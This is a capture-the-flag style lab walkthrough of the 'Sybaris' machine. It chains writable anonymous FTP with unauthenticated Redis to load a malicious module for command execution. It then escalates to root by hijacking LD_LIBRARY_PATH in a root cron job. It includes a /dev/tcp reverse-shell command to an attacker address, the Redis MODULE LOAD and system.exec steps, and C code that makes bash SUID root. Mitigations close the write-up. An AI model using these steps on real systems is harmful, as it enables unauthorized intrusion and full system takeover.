Sybaris
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. Sybaris pairs two misconfigured services: a writable anonymous FTP and an unauthenticated Redis 5.0.9. We upload a malicious module over FTP and load it withMODULE LOAD(Redis RCE via modules), which gives asystem.execcommand and a reverse shell aspablo. To escalate,/etc/crontabruns a binary asrootwith anLD_LIBRARY_PATHpointing to a writable directory: we drop a library there with a constructor that sets the SUID bit onbash(LD_LIBRARY_PATH hijacking) and open arootshell.
Recon
Initial scan
The reply TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan. We sweep the TCP ports:
ping -c 1 192.168.197.93
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.197.93PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
6379/tcp open redisnmap -p21,22,80,6379 -sCV 192.168.197.93 -oN targetedScanPORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/7.3.22)
|_http-generator: HTMLy v2.7.5
|_http-title: Sybaris - Just another HTMLy blog
6379/tcp open redis Redis key-value store 5.0.9Four services: an FTP that allows anonymous login, SSH, an HTMLy v2.7.5 blog on CentOS, and an open Redis 5.0.9. The anonymous-FTP + unauthenticated-Redis combination is the one worth looking at first: if the FTP allows writes, we have somewhere to drop a file that Redis can load.
FTP - TCP 21
We log in as anonymous and, besides listing pub/, check whether we can upload files:
ftp 192.168.197.93
# Name: anonymous / Password: (empty)
cd pub
put test230 Login successful.
...
ftp> put test
150 Ok to send data.
226 Transfer complete.
5 bytes sent in 00:00 (0.08 KiB/s)The put works: the FTP allows anonymous writes to pub/ (anonymous FTP). We still need to know which filesystem path that pub/ maps to. A quick search confirms anonymous FTP on Linux uses /var/ftp (or /var/www/html) as its root:

And specifically, in vsftpd the public folder is /var/ftp/pub:

So whatever we upload to pub/ lands in /var/ftp/pub/ on disk, a fact we'll use as soon as we know how to load something from Redis.
Redis - TCP 6379
Redis answers without asking for credentials. We confirm version and mode:
redis-cli -h 192.168.197.93
192.168.197.93:6379> INFO serverredis_version:5.0.9
redis_mode:standalone
os:Linux 3.10.0-1127.19.1.el7.x86_64 x86_64An unauthenticated Redis is directly exploitable (Redis enumeration). Of the possible paths (writing an SSH key or a webshell with CONFIG SET dir, replication abuse, module loading), the module one fits perfectly here: we already have somewhere to drop the .so (the anonymous FTP). The technique is documented in HackTricks (compile a module, upload it, MODULE LOAD, system.exec):

Shell as pablo
Redis MODULE LOAD via anonymous FTP
The technique: compile a Redis module that registers a command to run orders, upload it over FTP and load it with MODULE LOAD. Searching for MODULE LOAD leads to an exploit that already ships the compiled module:

We use the exp_lin.so from the Redis-RCE exploit (a module prebuilt for the 5.x line). We upload it to the FTP's pub/, which on disk is /var/ftp/pub/:
git clone https://github.com/jas502n/Redis-RCE
ftp 192.168.197.93
# anonymous
cd pub
put exp_lin.soWith the .so on the target, we load it from Redis and try the system.exec command it registers (Redis RCE via modules):
redis-cli -h 192.168.197.93
MODULE LOAD /var/ftp/pub/exp_lin.so
system.exec "id"
192.168.197.93:6379> MODULE LOAD /var/ftp/pub/exp_lin.so
OK
192.168.197.93:6379> system.exec "id"
"uid=1000(pablo) gid=1000(pablo) groups=1000(pablo)\n"Before triggering the shell, we set Penelope listening on 80:
penelope 80We have execution as pablo (the Redis process user). We fire a reverse shell back to our listener:
system.exec "bash -i >& /dev/tcp/192.168.45.196/80 0>&1"
(Penelope)> listeners add -p 80
[+] Got reverse shell from sybaris~192.168.197.93-Linux-x86_64 Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python!
[pablo@sybaris /]$ whoami
pabloWe stabilize the shell to a PTY and read the first proof:
cat /home/pablo/local.txt && whoami && ip a && hostname
9318a53cbcf57f8787dd754992ceae50Privilege escalation
Root cron with a writable LD_LIBRARY_PATH
Reviewing the scheduled tasks, /etc/crontab stands out: it defines its own LD_LIBRARY_PATH and runs the binary /usr/bin/log-sweeper as root:
cat /etc/crontab
/usr/bin/log-sweeper
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
LD_LIBRARY_PATH=/usr/lib:/usr/lib64:/usr/local/lib/dev:/usr/local/lib/utils
MAILTO=""
* * * * * root /usr/bin/log-sweeper
$ /usr/bin/log-sweeper
/usr/bin/log-sweeper: error while loading shared libraries: utils.so: cannot open shared object file: No such file or directoryTwo details line up: the binary needs a utils.so library that doesn't exist, and the LD_LIBRARY_PATH includes /usr/local/lib/dev, a directory our user can write to. linpeas (repo) flags the same thing:

Since the linker looks for utils.so by walking LD_LIBRARY_PATH and that directory wins, we just drop our utils.so there (LD_LIBRARY_PATH hijacking). We compile it with a constructor the linker runs when the library is loaded; the payload sets the SUID bit on bash:
cat utils.c#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
setuid(0);
system("chmod u+s /bin/bash");
}gcc -shared -o utils.so -fPIC utils.c
mv utils.so /usr/local/lib/dev/When the root cron runs log-sweeper again, the linker loads our utils.so, runs the constructor as root and applies the SUID. We confirm it:
ls -l /bin/bash-rwsr-xr-x. 1 root root 964536 Mar 31 2020 /bin/bash/bin/bash is now SUID root. With -p the shell keeps euid=0 (SUID abuse):
bash -p
whoami
[pablo@sybaris tmp]$ bash -p
bash-4.2# whoami
rootWe read the final proof:
cat /root/proof.txt && whoami && ip a && hostname
f5cd59c2f5baa97e3205ca1b3b811409Attack chain
Anonymous FTP (21, writable) + unauthenticated Redis 5.0.9 (6379)
│ put exp_lin.so -> /var/ftp/pub/exp_lin.so
│ MODULE LOAD /var/ftp/pub/exp_lin.so -> system.exec
▼
shell as pablo (reverse shell, local.txt)
│ root cron: LD_LIBRARY_PATH -> /usr/local/lib/dev (writable)
│ malicious utils.so (constructor) -> chmod u+s /bin/bash
▼
shell as root (bash -p, proof.txt)Lessons learned
- Two weak services amplify each other. A writable anonymous FTP gives no RCE on its own, and an open Redis won't load a module that isn't on disk; together they close the chain: the FTP puts the
.sowhere Redis loads it. - Unauthenticated Redis is code execution.
MODULE LOADloads arbitrary libraries that register commands likesystem.exec. Binding to127.0.0.1, requiringrequirepass/ACLs and disablingMODULE/CONFIGcloses it. LD_LIBRARY_PATHin arootcron is a gift. The linker consults that variable before the system paths; if it includes a writable directory, you control which library the privileged process loads. Never setLD_LIBRARY_PATHinrootjobs pointing at user paths.- A library constructor runs before
main.__attribute__((constructor))executes when the.sois loaded, so the binary doesn't even need to use the function: loading it is enough.